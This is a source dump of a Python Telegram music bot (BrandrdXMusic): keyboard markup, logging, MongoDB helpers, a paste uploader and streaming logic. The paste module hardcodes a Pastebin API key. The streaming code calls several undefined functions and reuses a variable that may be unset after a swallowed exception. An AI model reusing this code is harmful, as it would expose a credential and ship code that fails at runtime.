queue_back_markup(_, CPLAY): upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data=f"queue_back_timer {CPLAY}", ), InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data="close", ), ] ] ) return upl def aq_markup(_, chat_id): buttons = [ [ InlineKeyboardButton(text="▷", callback_data=f"ADMIN Resume|{chat_id}"), InlineKeyboardButton(text="II", callback_data=f"ADMIN Pause|{chat_id}"), InlineKeyboardButton(text="‣‣I", callback_data=f"ADMIN Skip|{chat_id}"), InlineKeyboardButton(text="▢", callback_data=f"ADMIN Stop|{chat_id}"), ], [ InlineKeyboardButton( text="⛦ ᴏᴡɴᴇʀ ⛦", url=f"https://t.me/BRANDEDKING8" ), InlineKeyboardButton( text="🥀 ꜱᴜᴘᴘᴏʀᴛ 🥀", url=f"https://t.me/BRANDED_WORLD" ), ], [InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close")], ] return buttons def queuemarkup(_, vidid, chat_id): buttons = [ [ InlineKeyboardButton( text=_["S_B_5"], url=f"https://t.me/{app.username}?startgroup=true", ), ], [ InlineKeyboardButton( text="ᴘᴀᴜsᴇ", callback_data=f"ADMIN Pause|{chat_id}", ), InlineKeyboardButton(text="sᴛᴏᴘ", callback_data=f"ADMIN Stop|{chat_id}"), InlineKeyboardButton(text="sᴋɪᴘ", callback_data=f"ADMIN Skip|{chat_id}"), ], [ InlineKeyboardButton( text="ʀᴇsᴜᴍ", callback_data=f"ADMIN Resume|{chat_id}" ), InlineKeyboardButton( text="ʀᴇᴘʟᴀ", callback_data=f"ADMIN Replay|{chat_id}" ), ], [ InlineKeyboardButton( text="๏ ᴍᴏʀᴇ ๏", url="https://t.me/BRANDED_WORLD", ), ], ] return buttons ================================================ FILE: BrandrdXMusic/utils/inline/settings.py ================================================ from typing import Union from pyrogram.types import InlineKeyboardButton def setting_markup(_): buttons = [ [ InlineKeyboardButton(text=_["ST_B_1"], callback_data="AU"), InlineKeyboardButton(text=_["ST_B_3"], callback_data="LG"), ], [ InlineKeyboardButton(text=_["ST_B_2"], callback_data="PM"), ], [ InlineKeyboardButton(text=_["ST_B_4"], callback_data="VM"), ], [ InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons def vote_mode_markup(_, current, mode: Union[bool, str] = None): buttons = [ [ InlineKeyboardButton(text="Vᴏᴛɪɴɢ ᴍᴏᴅᴇ ➜", callback_data="VOTEANSWER"), InlineKeyboardButton( text=_["ST_B_5"] if mode == True else _["ST_B_6"], callback_data="VOMODECHANGE", ), ], [ InlineKeyboardButton(text="-2", callback_data="FERRARIUDTI M"), InlineKeyboardButton( text=f"ᴄᴜʀʀᴇɴᴛ : {current}", callback_data="ANSWERVOMODE", ), InlineKeyboardButton(text="+2", callback_data="FERRARIUDTI A"), ], [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data="settings_helper", ), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons def auth_users_markup(_, status: Union[bool, str] = None): buttons = [ [ InlineKeyboardButton(text=_["ST_B_7"], callback_data="AUTHANSWER"), InlineKeyboardButton( text=_["ST_B_8"] if status == True else _["ST_B_9"], callback_data="AUTH", ), ], [ InlineKeyboardButton(text=_["ST_B_1"], callback_data="AUTHLIST"), ], [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data="settings_helper", ), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons def playmode_users_markup( _, Direct: Union[bool, str] = None, Group: Union[bool, str] = None, Playtype: Union[bool, str] = None, ): buttons = [ [ InlineKeyboardButton(text=_["ST_B_10"], callback_data="SEARCHANSWER"), InlineKeyboardButton( text=_["ST_B_11"] if Direct == True else _["ST_B_12"], callback_data="MODECHANGE", ), ], [ InlineKeyboardButton(text=_["ST_B_13"], callback_data="AUTHANSWER"), InlineKeyboardButton( text=_["ST_B_8"] if Group == True else _["ST_B_9"], callback_data="CHANNELMODECHANGE", ), ], [ InlineKeyboardButton(text=_["ST_B_14"], callback_data="PLAYTYPEANSWER"), InlineKeyboardButton( text=_["ST_B_8"] if Playtype == True else _["ST_B_9"], callback_data="PLAYTYPECHANGE", ), ], [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data="settings_helper", ), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons def audio_quality_markup( _, low: Union[bool, str] = None, medium: Union[bool, str] = None, high: Union[bool, str] = None, ): buttons = [ [ InlineKeyboardButton( text=( _["ST_B_8"].format("✅") if low == True else _["ST_B_8"].format("") ), callback_data="LQA", ) ], [ InlineKeyboardButton( text=( _["ST_B_9"].format("✅") if medium == True else _["ST_B_9"].format("") ), callback_data="MQA", ) ], [ InlineKeyboardButton( text=( _["ST_B_10"].format("✅") if high == True else _["ST_B_10"].format("") ), callback_data="HQA", ) ], [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data="settingsback_helper", ), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons def video_quality_markup( _, low: Union[bool, str] = None, medium: Union[bool, str] = None, high: Union[bool, str] = None, ): buttons = [ [ InlineKeyboardButton( text=( _["ST_B_11"].format("✅") if low == True else _["ST_B_11"].format("") ), callback_data="LQV", ) ], [ InlineKeyboardButton( text=( _["ST_B_12"].format("✅") if medium == True else _["ST_B_12"].format("") ), callback_data="MQV", ) ], [ InlineKeyboardButton( text=( _["ST_B_13"].format("✅") if high == True else _["ST_B_13"].format("") ), callback_data="HQV", ) ], [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data="settingsback_helper", ), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data="close"), ], ] return buttons ================================================ FILE: BrandrdXMusic/utils/inline/song.py ================================================ from pyrogram.types import InlineKeyboardButton import config def song_markup(_, vidid): buttons = [ [ InlineKeyboardButton( text=_["SG_B_2"], callback_data=f"song_helper audio|{vidid}", ), InlineKeyboardButton( text=_["SG_B_3"], callback_data=f"song_helper video|{vidid}", ), ], [ InlineKeyboardButton( text="🥀 sᴜᴩᴩᴏʀᴛ 🥀", url=f"{config.SUPPORT_CHAT}", ), InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data="close" ), ], ] return buttons ================================================ FILE: BrandrdXMusic/utils/inline/speed.py ================================================ from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup def speed_markup(_, chat_id): upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="🕒 0.5x", callback_data=f"SpeedUP {chat_id}|0.5", ), InlineKeyboardButton( text="🕓 0.75x", callback_data=f"SpeedUP {chat_id}|0.75", ), ], [ InlineKeyboardButton( text=_["P_B_4"], callback_data=f"SpeedUP {chat_id}|1.0", ), ], [ InlineKeyboardButton( text="🕤 1.5x", callback_data=f"SpeedUP {chat_id}|1.5", ), InlineKeyboardButton( text="🕛 2.0x", callback_data=f"SpeedUP {chat_id}|2.0", ), ], [ InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data="close", ), ], ] ) return upl ================================================ FILE: BrandrdXMusic/utils/inline/start.py ================================================ from pyrogram.types import InlineKeyboardButton import config from BrandrdXMusic import app def start_panel(_): buttons = [ [ InlineKeyboardButton( text=_["S_B_1"], url=f"https://t.me/{app.username}?startgroup=true" ), InlineKeyboardButton(text=_["S_B_2"], url=config.SUPPORT_CHAT), ], ] return buttons def private_panel(_): buttons = [ [ InlineKeyboardButton( text=_["S_B_3"], url=f"https://t.me/{app.username}?startgroup=true", ) ], [InlineKeyboardButton(text=_["S_B_4"], callback_data="settings_back_helper")], [ InlineKeyboardButton(text=_["S_B_5"], user_id=config.OWNER_ID), InlineKeyboardButton(text=_["S_B_2"], url=config.SUPPORT_CHAT), ], [ InlineKeyboardButton(text=_["S_B_6"], url=config.SUPPORT_CHANNEL), ], ] return buttons ================================================ FILE: BrandrdXMusic/utils/inline/stats.py ================================================ from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup def stats_buttons(_, status): not_sudo = [ InlineKeyboardButton( text=_["SA_B_1"], callback_data="TopOverall", ) ] sudo = [ InlineKeyboardButton( text=_["SA_B_2"], callback_data="bot_stats_sudo", ), InlineKeyboardButton( text=_["SA_B_3"], callback_data="TopOverall", ), ] upl = InlineKeyboardMarkup( [ sudo if status else not_sudo, [ InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data="close", ), ], ] ) return upl def back_stats_buttons(_): upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data="stats_back", ), InlineKeyboardButton( text=_["CLOSE_BUTTON"], callback_data="close", ), ], ] ) return upl ================================================ FILE: BrandrdXMusic/utils/inline/sudolist.py ================================================ ================================================ FILE: BrandrdXMusic/utils/inlinequery.py ================================================ from pyrogram.types import InlineQueryResultArticle, InputTextMessageContent answer = [] answer.extend( [ InlineQueryResultArticle( title="Pᴀᴜsᴇ", description=f"ᴩᴀᴜsᴇ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.", thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg", input_message_content=InputTextMessageContent("/pause"), ), InlineQueryResultArticle( title="Rᴇsᴜᴍᴇ", description=f"ʀᴇsᴜᴍᴇ ᴛʜᴇ ᴩᴀᴜsᴇᴅ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.", thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg", input_message_content=InputTextMessageContent("/resume"), ), InlineQueryResultArticle( title="Sᴋɪᴩ", description=f"sᴋɪᴩ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ ᴀɴᴅ ᴍᴏᴠᴇs ᴛᴏ ᴛʜᴇ ɴᴇxᴛ sᴛʀᴇᴀᴍ.", thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg", input_message_content=InputTextMessageContent("/skip"), ), InlineQueryResultArticle( title="Eɴᴅ", description="ᴇɴᴅ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.", thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg", input_message_content=InputTextMessageContent("/end"), ), InlineQueryResultArticle( title="Sʜᴜғғʟᴇ", description="sʜᴜғғʟᴇ ᴛʜᴇ ǫᴜᴇᴜᴇᴅ sᴏɴɢs ɪɴ ᴩʟᴀʏʟɪsᴛ.", thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg", input_message_content=InputTextMessageContent("/shuffle"), ), InlineQueryResultArticle( title="Lᴏᴏᴩ", description="ʟᴏᴏᴩ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ ᴛʀᴀᴄᴋ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.", thumb_url="https://te.legra.ph/file/df8fa2868f8a277718a47.jpg", input_message_content=InputTextMessageContent("/loop 3"), ), ] ) ================================================ FILE: BrandrdXMusic/utils/logger.py ================================================ from pyrogram.enums import ParseMode from BrandrdXMusic import app from BrandrdXMusic.utils.database import is_on_off from config import LOGGER_ID async def play_logs(message, streamtype): if await is_on_off(2): logger_text = f""" {app.mention} ᴘʟᴀʏ ʟᴏɢ ᴄʜᴀᴛ ɪᴅ : {message.chat.id} ᴄʜᴀᴛ ɴᴀᴍᴇ : {message.chat.title} ᴄʜᴀᴛ ᴜsᴇʀɴᴀᴍᴇ : @{message.chat.username} ᴜsᴇʀ ɪᴅ : {message.from_user.id} ɴᴀᴍᴇ : {message.from_user.mention} ᴜsᴇʀɴᴀᴍᴇ : @{message.from_user.username} ǫᴜᴇʀʏ : {message.text.split(None, 1)[1]} sᴛʀᴇᴀᴍᴛʏᴘᴇ : {streamtype}""" if message.chat.id != LOGGER_ID: try: await app.send_message( chat_id=LOGGER_ID, text=logger_text, parse_mode=ParseMode.HTML, disable_web_page_preview=True, ) except: pass return ================================================ FILE: BrandrdXMusic/utils/mongo.py ================================================ """** ──────────────────────────────────────────────────────────────────────── B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ B̳̿͟͞R̳̿͟͞A̳̿͟͞N̳̿͟͞D̳̿͟͞E̳̿͟͞D̳̿͟͞ K̳̿͟͞I̳̿͟͞N̳̿͟͞G̳̿͟͞ ────────────────────────────────────────────────────────────────────────**""" from typing import Dict, Union from motor.motor_asyncio import AsyncIOMotorClient as MongoCli from config import MONGO_DB_URI mongo = MongoCli(MONGO_DB_URI) db = mongo.BrandrdXMusic coupledb = db.couple afkdb = db.afk nightmodedb = db.nightmode notesdb = db.notes filtersdb = db.filters async def _get_lovers(cid: int): lovers = await coupledb.find_one({"chat_id": cid}) if lovers: lovers = lovers["couple"] else: lovers = {} return lovers async def _get_image(cid: int): lovers = await coupledb.find_one({"chat_id": cid}) if lovers: lovers = lovers["img"] else: lovers = {} return lovers async def get_couple(cid: int, date: str): lovers = await _get_lovers(cid) if date in lovers: return lovers[date] else: return False async def save_couple(cid: int, date: str, couple: dict, img: str): lovers = await _get_lovers(cid) lovers[date] = couple await coupledb.update_one( {"chat_id": cid}, {"$set": {"couple": lovers, "img": img}}, upsert=True, ) ================================================ FILE: BrandrdXMusic/utils/pastebin.py ================================================ import socket,requests from asyncio import get_running_loop from functools import partial def _netcat(host, port, content): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall(content.encode()) s.shutdown(socket.SHUT_WR) while True: data = s.recv(4096).decode("utf-8").strip("\n\x00") if not data: break return data s.close() async def HottyBin(content): url ="https://pastebin.com/api/api_post.php" data = {"api_dev_key":"9Rfu50iV5l3EuRWATw7EDLuC37RED-C4","api_paste_code": content,"api_option": "paste"} response = requests.post(url, data=data) link=response.text return link ================================================ FILE: BrandrdXMusic/utils/stream/autoclear.py ================================================ import os from config import autoclean async def auto_clean(popped): try: rem = popped["file"] autoclean.remove(rem) count = autoclean.count(rem) if count == 0: if "vid_" not in rem or "live_" not in rem or "index_" not in rem: try: os.remove(rem) except: pass except: pass ================================================ FILE: BrandrdXMusic/utils/stream/queue.py ================================================ import asyncio from typing import Union from BrandrdXMusic.misc import db from BrandrdXMusic.utils.formatters import check_duration, seconds_to_min from config import autoclean, time_to_seconds async def put_queue( chat_id, original_chat_id, file, title, duration, user, vidid, user_id, stream, forceplay: Union[bool, str] = None, ): title = title.title() try: duration_in_seconds = time_to_seconds(duration) - 3 except: duration_in_seconds = 0 put = { "title": title, "dur": duration, "streamtype": stream, "by": user, "user_id": user_id, "chat_id": original_chat_id, "file": file, "vidid": vidid, "seconds": duration_in_seconds, "played": 0, } if forceplay: check = db.get(chat_id) if check: check.insert(0, put) else: db[chat_id] = [] db[chat_id].append(put) else: db[chat_id].append(put) autoclean.append(file) async def put_queue_index( chat_id, original_chat_id, file, title, duration, user, vidid, stream, forceplay: Union[bool, str] = None, ): if "20.212.146.162" in vidid: try: dur = await asyncio.get_event_loop().run_in_executor( None, check_duration, vidid ) duration = seconds_to_min(dur) except: duration = "ᴜʀʟ sᴛʀᴇᴀᴍ" dur = 0 else: dur = 0 put = { "title": title, "dur": duration, "streamtype": stream, "by": user, "chat_id": original_chat_id, "file": file, "vidid": vidid, "seconds": dur, "played": 0, } if forceplay: check = db.get(chat_id) if check: check.insert(0, put) else: db[chat_id] = [] db[chat_id].append(put) else: db[chat_id].append(put) ================================================ FILE: BrandrdXMusic/utils/stream/stream.py ================================================ import os from random import randint from typing import Union import random import string import asyncio from pyrogram import client, filters from pyrogram.types import InlineKeyboardMarkup, InputMediaPhoto, Message from pytgcalls.exceptions import NoActiveGroupCall from BrandrdXMusic.utils.database import get_assistant import config from BrandrdXMusic import Apple, Resso, SoundCloud, Spotify, Telegram, YouTube, app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils import seconds_to_min, time_to_seconds from BrandrdXMusic.utils.channelplay import get_channeplayCB from BrandrdXMusic.utils.decorators.language import languageCB from BrandrdXMusic.utils.decorators.play import PlayWrapper from BrandrdXMusic.utils.formatters import formats from BrandrdXMusic.utils.database import ( add_served_chat, add_served_user, blacklisted_chats, get_lang, is_banned_user, is_on_off, ) from BrandrdXMusic.utils.logger import play_logs from config import BANNED_USERS, lyrical from time import time from BrandrdXMusic.utils.extraction import extract_user # Define a dictionary to track the last message timestamp for each user user_last_message_time = {} user_command_count = {} # Define the threshold for command spamming (e.g., 20 commands within 60 seconds) SPAM_THRESHOLD = 2 SPAM_WINDOW_SECONDS = 5 from pyrogram.types import InlineKeyboardMarkup import config from BrandrdXMusic import Carbon, YouTube, app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.misc import db from BrandrdXMusic.utils.database import add_active_video_chat, is_active_chat from BrandrdXMusic.utils.exceptions import AssistantErr from BrandrdXMusic.utils.inline import ( aq_markup, close_markup, stream_markup, ) from BrandrdXMusic.utils.pastebin import HottyBin from BrandrdXMusic.utils.stream.queue import put_queue, put_queue_index from youtubesearchpython.__future__ import VideosSearch async def stream( _, mystic, user_id, result, chat_id, user_name, original_chat_id, video: Union[bool, str] = None, streamtype: Union[bool, str] = None, spotify: Union[bool, str] = None, forceplay: Union[bool, str] = None, ): if not result: return if forceplay: await Hotty.force_stop_stream(chat_id) if streamtype == "playlist": msg = f"{_['play_19']}\n\n" count = 0 for search in result: if int(count) == config.PLAYLIST_FETCH_LIMIT: continue try: ( title, duration_min, duration_sec, thumbnail, vidid, ) = await YouTube.details(search, False if spotify else True) except: continue if str(duration_min) == "None": continue if duration_sec > config.DURATION_LIMIT: continue if await is_active_chat(chat_id): await put_queue( chat_id, original_chat_id, f"vid_{vidid}", title, duration_min, user_name, vidid, user_id, "video" if video else "audio", ) position = len(db.get(chat_id)) - 1 count += 1 msg += f"{count}. {title[:70]}\n" msg += f"{_['play_20']} {position}\n\n" else: if not forceplay: db[chat_id] = [] status = True if video else None try: file_path, direct = await YouTube.download( vidid, mystic, video=status, videoid=True ) except: await mystic.edit_text(_["play_3"]) await Hotty.join_call( chat_id, original_chat_id, file_path, video=status, image=thumbnail, ) await put_queue( chat_id, original_chat_id, file_path if direct else f"vid_{vidid}", title, duration_min, user_name, vidid, user_id, "video" if video else "audio", forceplay=forceplay, ) img = await get_thumb(vidid) button = stream_markup(_, vidid, chat_id) run = await app.send_photo( original_chat_id, photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{vidid}", title[:18], duration_min, user_name, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "stream" if count == 0: return else: link = await brandedBin(msg) lines = msg.count("\n") if lines >= 17: car = os.linesep.join(msg.split(os.linesep)[:17]) else: car = msg carbon = await Carbon.generate(car, randint(100, 10000000)) upl = close_markup(_) return await app.send_photo( original_chat_id, photo=carbon, caption=_["play_21"].format(position, link), reply_markup=upl, ) elif streamtype == "youtube": link = result["link"] vidid = result["vidid"] title = (result["title"]).title() duration_min = result["duration_min"] thumbnail = result["thumb"] status = True if video else None try: file_path, direct = await YouTube.download( vidid, mystic, videoid=True, video=status ) except: await mystic.edit_text(_["play_3"]) if await is_active_chat(chat_id): await put_queue( chat_id, original_chat_id, file_path if direct else f"vid_{vidid}", title, duration_min, user_name, vidid, user_id, "video" if video else "audio", ) img = await get_thumb(vidid) position = len(db.get(chat_id)) - 1 button = aq_markup(_, chat_id) await app.send_photo( chat_id=original_chat_id, photo=img, caption=_["queue_4"].format( position, title[:18], duration_min, user_name ), reply_markup=InlineKeyboardMarkup(button), ) else: if not forceplay: db[chat_id] = [] await Hotty.join_call( chat_id, original_chat_id, file_path, video=status, image=thumbnail, ) await put_queue( chat_id, original_chat_id, file_path if direct else f"vid_{vidid}", title, duration_min, user_name, vidid, user_id, "video" if video else "audio", forceplay=forceplay, ) img = await get_thumb(vidid) button = stream_markup(_, vidid, chat_id) run = await app.send_photo( original_chat_id, photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{vidid}", title[:18], duration_min, user_name, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "stream" elif streamtype == "soundcloud": file_path = result["filepath"] title = result["title"] duration_min = result["duration_min"] if await is_active_chat(chat_id): await put_queue( chat_id, original_chat_id, file_path, title, duration_min, user_name, streamtype, user_id, "audio", ) position = len(db.get(chat_id)) - 1 button = aq_markup(_, chat_id) await app.send_message( chat_id=original_chat_id, text=_["queue_4"].format(position, title[:18], duration_min, user_name), reply_markup=InlineKeyboardMarkup(button), ) else: if not forceplay: db[chat_id] = [] await Hotty.join_call(chat_id, original_chat_id, file_path, video=None) await put_queue( chat_id, original_chat_id, file_path, title, duration_min, user_name, streamtype, user_id, "audio", forceplay=forceplay, ) button = stream_markup2(_, chat_id) run = await app.send_photo( original_chat_id, photo=config.SOUNCLOUD_IMG_URL, caption=_["stream_1"].format( config.SUPPORT_CHAT, title[:23], duration_min, user_name ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" elif streamtype == "telegram": file_path = result["path"] link = result["link"] title = (result["title"]).title() duration_min = result["dur"] status = True if video else None if await is_active_chat(chat_id): await put_queue( chat_id, original_chat_id, file_path, title, duration_min, user_name, streamtype, user_id, "video" if video else "audio", ) position = len(db.get(chat_id)) - 1 button = aq_markup(_, chat_id) await app.send_message( chat_id=original_chat_id, text=_["queue_4"].format(position, title[:18], duration_min, user_name), reply_markup=InlineKeyboardMarkup(button), ) else: if not forceplay: db[chat_id] = [] await Hotty.join_call(chat_id, original_chat_id, file_path, video=status) await put_queue( chat_id, original_chat_id, file_path, title, duration_min, user_name, streamtype, user_id, "video" if video else "audio", forceplay=forceplay, ) if video: await add_active_video_chat(chat_id) button = stream_markup2(_, chat_id) run = await app.send_photo( original_chat_id, photo=config.TELEGRAM_VIDEO_URL if video else config.TELEGRAM_AUDIO_URL, caption=_["stream_1"].format(link, title[:23], duration_min, user_name), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" elif streamtype == "live": link = result["link"] vidid = result["vidid"] title = (result["title"]).title() thumbnail = result["thumb"] duration_min = "Live Track" status = True if video else None if await is_active_chat(chat_id): await put_queue( chat_id, original_chat_id, f"live_{vidid}", title, duration_min, user_name, vidid, 